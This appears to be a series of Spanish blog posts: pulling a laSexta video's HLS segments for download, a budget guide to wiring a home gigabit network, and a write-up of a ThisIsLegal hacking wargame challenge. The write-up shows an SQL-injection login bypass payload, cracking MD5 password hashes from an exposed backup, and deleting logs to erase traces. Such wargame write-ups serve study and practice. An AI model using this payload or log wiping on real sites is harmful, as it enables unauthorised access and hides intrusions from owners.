								<img src="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/58.jpg" alt="Joaquín Reyes, como el rey Juan Carlos I" title="Joaquín Reyes, como el rey Juan Carlos I" />
	                    </picture>
	                    <meta itemprop="description" content=""/>
	                    <meta itemprop="name" content=""/>
	                    <meta itemprop="thumbnailUrl" content="" />
	                    <meta itemprop="uploadDate" content=""/>
	                    <meta itemprop="url" content=""/>
	                    <meta itemprop="width" content=""/>
	                    <meta itemprop="height" content=""/>
	                </div>
	            </div>
	        </a>
	    </section>
	</div>
...

Si os fijáis bien, el reproductor hace referencia a un archivo json (591a08c1986b2810b31577c1.json), reconstruimos la url y miramos su contenido

{"id":"591a08c1986b2810b31577c1","type":"video","tipo":"video","subtipo":"video","imgThumb":"http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/29.jpg","imgPoster":"http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/31.jpg","live":false,"autoplay":true,"sources":[{"src":"http://vclip.atresmedia.com/vclip/_definst_/smil:assets10/2017/05/15/01229E28-A57E-4AC9-AFE7-EF1C27B5AA2A/es.smil/manifest_mvlist.mpd","type":"application/dash+xml"},{"src":"http://vclip.atresmedia.com/vclip/_definst_/smil:assets10/2017/05/15/01229E28-A57E-4AC9-AFE7-EF1C27B5AA2A/es.smil/playlist.m3u8","type":"application/vnd.apple.mpegurl"}],"omniture":{"section":"Joaquín Reyes","category":"El Intermedio","channel":"lasexta","type":"short","name":"Joaquín Reyes se mete en la piel de Juan Carlos I: \"Soy tan campechano que podéis llamarme Juan Carlos Palote\"","embeddedMode":false},"comscore":{"comscoreTag":"LASEXTA.COM","channel":"lasexta","kantar":{"programID":"1019","firstBroadcastDate":"*null","firstBroadcastTime":"*null","typeTvStream":"0002","kantarGenre":"0","channelId":"240"},"content_form":"short_form"},"urlHits":"http://hits.lasexta.com/l6//591a08c1986b2810b31577c1/3/348128,351435,351827,351865/","duration":"211.797333","embeddedUrl":"<iframe src=\"http://www.lasexta.com/embed/el-intermedio-le-pilla-en-el-trono/video/7/2017/05/15/591a08c1986b2810b31577c1\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen></iframe>","playondraw":true,"nextRelated":{"service_url":"http://www.lasexta.com/json/video/7/2017/05/15/591a08c1986b2810b31577c1_related.json"},"subtitle":[],"titulo":"Joaquín Reyes se mete en la piel de Juan Carlos I: \"Soy tan campechano que podéis llamarme Juan Carlos Palote\"","descripcion":"","sociales":{"hasTwitter":true,"hasFacebook":true,"hasGooglePlus":true,"hasWhatsapp":true,"twitter":"EL INTERMEDIO LE PILLA EN “EL TRONO”","facebook":"EL INTERMEDIO LE PILLA EN “EL TRONO”","googlePlus":"EL INTERMEDIO LE PILLA EN “EL TRONO”","whatsapp":"","hashtag":"","via":"sextaNoticias","urlPage":"https://goo.gl/cu98f0"},"vp_data":{"vp_category":"Atresmedia/Lasexta/programas/el-intermedio*","vp_tags":"","vp_content_form":"short_form"}}

Se puede ver a simple vista una lista de reproducción playlist.m3u8, cuyo contenido contiene más listas de reproducción con diferentes calidades.

#EXTM3U
#EXT-X-VERSION:3
#EXT-X-STREAM-INF:BANDWIDTH=796400,CODECS="avc1.77.30,mp4a.40.5",RESOLUTION=640x360
chunklist_b724000.m3u8
#EXT-X-STREAM-INF:BANDWIDTH=1159400,CODECS="avc1.77.30,mp4a.40.5",RESOLUTION=640x360
chunklist_b1054000.m3u8
#EXT-X-STREAM-INF:BANDWIDTH=1643400,CODECS="avc1.77.30,mp4a.40.5",RESOLUTION=720x404
chunklist_b1494000.m3u8
#EXT-X-STREAM-INF:BANDWIDTH=2248400,CODECS="avc1.77.31,mp4a.40.5",RESOLUTION=1280x720
chunklist_b2044000.m3u8

Reconstruimos la URL para la lista de reproducción de mayor calidad e inspeccionamos su contenido.

#EXTM3U
#EXT-X-VERSION:3
#EXT-X-TARGETDURATION:10
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
media_b2044000_0.ts
#EXTINF:10.0,
media_b2044000_1.ts
#EXTINF:10.0,
media_b2044000_2.ts
#EXTINF:10.0,
media_b2044000_3.ts
#EXTINF:10.0,
media_b2044000_4.ts
#EXTINF:10.0,
media_b2044000_5.ts
#EXTINF:10.0,
media_b2044000_6.ts
#EXTINF:10.0,
media_b2044000_7.ts
#EXTINF:10.0,
media_b2044000_8.ts
#EXTINF:10.0,
media_b2044000_9.ts
#EXTINF:10.0,
media_b2044000_10.ts
#EXTINF:10.0,
media_b2044000_11.ts
#EXTINF:10.0,
media_b2044000_12.ts
#EXTINF:10.0,
media_b2044000_13.ts
#EXTINF:10.0,
media_b2044000_14.ts
#EXTINF:10.0,
media_b2044000_15.ts
#EXTINF:10.0,
media_b2044000_16.ts
#EXTINF:10.0,
media_b2044000_17.ts
#EXTINF:10.0,
media_b2044000_18.ts
#EXTINF:10.0,
media_b2044000_19.ts
#EXTINF:10.0,
media_b2044000_20.ts
#EXTINF:1.92,
media_b2044000_21.ts
#EXT-X-ENDLIST

Se pueden ver 21 archivos con extensión TS de 10 segundos cada uno a excepción del último que dura 1.92 segundos. Los archivos TS no son más que archivos MP4 por lo que una vez descargados, los podemos unir con MP4Tools por ejemplo.

La tarea es costosa, pero si os apetece enviar un vídeo en vez de un enlace, ya sabéis que en determinados casos se puede hacer.

Guía rápida para tener una red Gigabit en casa

Introducción

Un día cualquiera se te ocurre comprarte un disco duro de red NAS para centralizar todo tu contenido multimedia. Lo conectas y todo va genial, pero de repente vas a copiar unos cuantos gigas de fotos y te encuentras con que la operación va a tardar días. En ese mismo instante te planteas sacar el máximo provecho a tu red doméstica y la solución se llama gigabit.

A quién va dirigido

Esta guía va dirigida a todo el mundo que esté pensando en hacer o mejorar la red LAN doméstica. Si eres un amante del WIFI, olvídate de esto, ya que para conseguir altas velocidades se necesita cablear la casa. Además, de lo que trata esta guía es de que se conecte un ordenador portátil o sobremesa de la forma más rápida posible al disco duro de red.

Comprobaciones previas

Probablemente dispongas de un Modem / Router proporcionado por tu compañia y que seguramente no sea gigabit (10/100/1000), esto es lo primero que debes comprobar. Busca tu modelo en internet y cerciorate.

También necesitas que la tarjeta de red del portátil o sobremesa sean gigabit, en este caso lo más probable es que lo sean pero asegúrate.

Lo que necesitamos

Tras hacer las comprobaciones previas ya podemos hacer una lista de los materiales que necesitamos.

  • Router gigabit (en caso del que tu compañia no lo sea).

Si el nuestro no es gigabit existen soluciones económicas como el TP-Link TL-WR1043ND que lo tenemos por 44€ en pccomponentes. Os recomiendo esta tienda por rapidez, seriedad y no abusan con los gastos de envío.

tp_link_tl_wr1043nd_ultimate_router_neutro_wifi_11n_usb_4

  • Switch gigabit (para ampliar puertos)

En caso de que los cuatro puertos que vienen con el router se nos queden cortos, la solución más economica y acertada es un Switch ethernet gigabit como el TP-LINK TL-SG1005D que lo tenemos por 16€. Este dispositivo es una maravilla ya que nos brinda 4 puertos más y no requiere configuración alguna.

tp_link_tl_sg1005d_switch_5_puertos_gigabit

  • Tarjeta de red gigabit (para pc sobremesa en caso de no ser o no disponer)

Son muy económicas, las puedes encontrar por 10€-15€ en cualquier tienda especializada. Ejemplo PCI. Ejemplo PCI-e. Video instalación de una tarjeta de red.

tarjeta-de-red-tp-link-tg-3269-gigabit-pci-internet-101000-1859-MLU4520989306_062013-F

  • Bobina de cable de red Categoría 6.

100m de cable UTP categoría 6 viene a costar sobre unos 42€.

bobina_100m_cable_red_rigido_utp_cat_6_10_100_1000

  • Cables Cat6 interconexionado router / switch / pc.

Para interconexionado de equipos recomiento estos de 50cm por 1,5€. Para conexión del pc tienes otras larguras más apropiadas. También podéis haceros vosotros los cables con lo sobrante de la bobina, para ello necesitaréis una crimpadora y terminales rj45.

digitus_cable_de_red_rj45_cat_6_10_100_1000_gris__50cm_

  • Tomas RJ45 categoría 6.

Esto depende de tu instalación y la gama que elijas. En mi caso utilizo tomas Niessen que solo el conector vale 16€, pero tienes tomas más económicas. De superficie por 2,75€ y empotrable por 8,25€.

roseta_de_superficie_cat6_conector_red_hembra_rj45 roseta_empotrable_cat5e_2_conectores_red_45__hembra_rj_45

  • Insertadora (punch down) para las tomas RJ45.

Indispensable para conectar internamente los cables de las tomas. La tenéis por 11€ en ebay. Video de la insertadora en acción.

PCS058007_large

  • Disco duro de red NAS

Esto es una recomendación personal ya que la elección puede variar en función de las necesidades de almacenamiento y conexiones. Una solución barata y con espacio suficiente para uso doméstico es el disco WD My Cloud 3TB que lo podeis adquirir por 159€.

wd_my_cloud_4tb

Presupuesto (Precios Octubre 2014)

  • Router = 44€
  • Switch = 16€
  • Tarjeta de red = 15€
  • Bobina de cable = 42€
  • Cables interconexionado 50cm x4 = 6€
  • Cable conexión pc / switch o router 1,8m = 2,95€
  • Tomas RJ45 x 2 = 16,5€
  • Disco duro de red NAS = 159€
  • TOTAL = 345,45€ + gastos de envío.

Esto puede variar en función de los componentes que elijas comprar pero el coste oscilará entre 250 y 350€, algo bastante asequible para centralizar contenido multimedia. Digo asequible por que la mitad del presupuesto se lo lleva el disco de red, los componentes son más bien baratos.

Ejemplo de instalación

Esquema inicial

En mi esquema disponemos del router proporcionado por el proveedor de internet que en mi caso sí es gigabit pero que solo lo utilizo para dar internet al router neutro.El router neutro junto con el switch me proporcionan 8 puertos gigabit. El router neutro además gestiona el wifi de la casa, pero en el mejor de los casos (Wifi n) estos dispositivos solo podrán mover datos a 300mbps. Utilizo como media center mis amadas Raspberry Pi que en este caso no se benefician de la velocidad ya que disponen de conexión 10/100.

esquema

Configurar router neutro

Lo primero a conectar es el router neutro y en este caso, TP-Link te lo pone fácil si no te defiendes muy bien con las redes, ya que proporciona un CD que se encarga de guiarte paso a paso. Lo más importante es la asignación de la IP privada, por defecto es 192.168.2.1 y a no ser que el router de la compañia tenga esa misma IP lo podéis dejar como está.

Disco duro de red NAS

Para configurar el disco de red normalmente viene un CD para ayudar al usuario novel. Lo único que tenéis que tener en cuenta es que la IP debe estar en consonancia con la del router neutro, si el router neutro es 192.168.2.1 al disco NAS podéis asignarle 192.168.2.150. Para más información aquí tenéis la guía de instalación.

Preguntas frecuentes. FAQ

  • ¿El cable normal o cruzado?

Podéis usar cable normal, también llamado conexión Pin a Pin ó 1:1, para toda la instalación ya que los dispositivos de hoy en día aceptan cualquier cable y resuelven internamente en función del cable conectado. Pero si nos ponemos quisquillosos, para conectar elementos pasivos entre sí (router a switch, etc) se utiliza cable normal 1:1. Para conectar elementos activos (PC a router/switch) cable cruzado.

  • ¿Qué norma de colores uso?

Mi consejo es que uses el standard EIA/TIA 568B tanto en la conexión de las cajas como en la creación de los cables.

image002

Cada roseta o toma en su interior tiene definido el orden que debes seguir para conectar los cables según el standard A o B, esto es una aproximación y puede no coincidir con tu toma.

con_roseta

  • Tengo todo instalado y es categoría 6 pero mi pc me marca que me conecta a 100mbps ¿qué pasa?

Si estás seguro de que las rosetas están bien conectadas, que has usado los cables correctos, que todos los dispositivos son gigabit y tu pc hace de las suyas, quizás debas de forzar a tu tarjeta de red a trabajar en modo gigabit ó 100 full duplex ó 100FD. Esto es debido a que el driver de la tarjeta de red por defecto viene con la opción de «autonegociación» activada y a veces necesita que le «obligues» a trabajar en gigabit.

En cada tarjeta de red puede venir diferente, yo os muestro mi caso desde windows 7:

Diríjete a Inicio > Panel de control > Ver el estado y las tareas de red > conexión de area local

En mi caso marca 1 Gbps pero si estais teniendo problemas os marcará 100 mbps. A continuación pulsa Propiedades.

31-10-2014 21-47-55

Pulsa Configurar.

31-10-2014 21-49-19

En la pestaña Opciones avanzadas busca la opción de la velocidad, en mi caso «Speed/duplex settings» y selecciona 100 mb Full Duplex. De este modo le forzais a la tarjeta de red a trabajar en modo gigabit. Si no lo consiguiera trabajará en el modo que pueda pero no os dejará sin conexión.

31-10-2014 21-50-31

Glosario

  1. NAS – del inglés Network Attached Storage, es el nombre dado a una tecnología de almacenamiento dedicada a compartir la capacidad de almacenamiento a través de una red. Estos discos vienen equipados como mínimo con una conexión RJ45 para integrarlo en una red de forma rápida y sencilla.
  2. Full Duplex – Que transmite y recibe en ambas direcciones al mismo tiempo por cables independientes.
  3. Switch – Un conmutador o switch es un dispositivo digital lógico de interconexión de equipos que opera en la capa de enlace de datos del modelo OSI. Su función es interconectar dos o más segmentos de red, de manera similar a los puentes de red, pasando datos de un segmento a otro de acuerdo con la dirección MAC de destino de las tramas en la red.
  4. Gigabit Ethernet – también conocida como GigaE, es una ampliación del estándar Ethernet (concretamente la versión 802.3ab y 802.3z del IEEE) que consigue una capacidad de transmisión de 1 gigabit por segundo, correspondientes a unos 1000 megabits por segundo de rendimiento contra unos 100 de Fast Ethernet (También llamado 100BASE-TX).

Notas finales

Soy consciente de que me he dejado muchas cosas en el tintero pero mi pretensión es que el lector de un vistazo rápido tenga una idea clara de lo que necesita para lograr una red decente en casa.

ThisIsLegal.com – Realistic Challenge 2

Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.

Introducción

Realistic Challenge 2: You have heard about people being targeted by a new religion called Egitology. Another hacker infiltrated the group and discovered that the list of people they target is stored on the site but he doesn’t know where.

Break into the site, find the file and remove it. Also leave no evidence that you was ever there so they wont realise until its too late!

El enunciado del reto nos dice que tenemos que localizar la lista de objetivos y eliminarla sin dejar evidencias.

Analizando la seguridad de la víctima

Echamos un vistazo y vemos que tienen un Login para usuarios registrados, este será nuestro primer testeo.
Lo primero que se no viene a la cabeza con un formulario de este tipo es Inyección SQL, probamos varios métodos y tenemos suerte.
User: admin
Pass: ‘ or 1=1–‘;
 
 Vemos que hemos entrado como admin y enseguida nos llama la atención «Back up Database«. Pulsamos a ver que pasa.
 Obtenemos el hash de las claves de los usuarios Admin y SuperAdmin. Por suerte son hashes MD5. Obtenemos la clave de SuperAdmin y nos loguemos.

Solo nos queda borrar la lista de objetivos y nuestras huellas. Para ello borramos los siguientes archivos y reto superado.

Lista de objetivos: root/misc/targets
Logs: root/images/logs

Links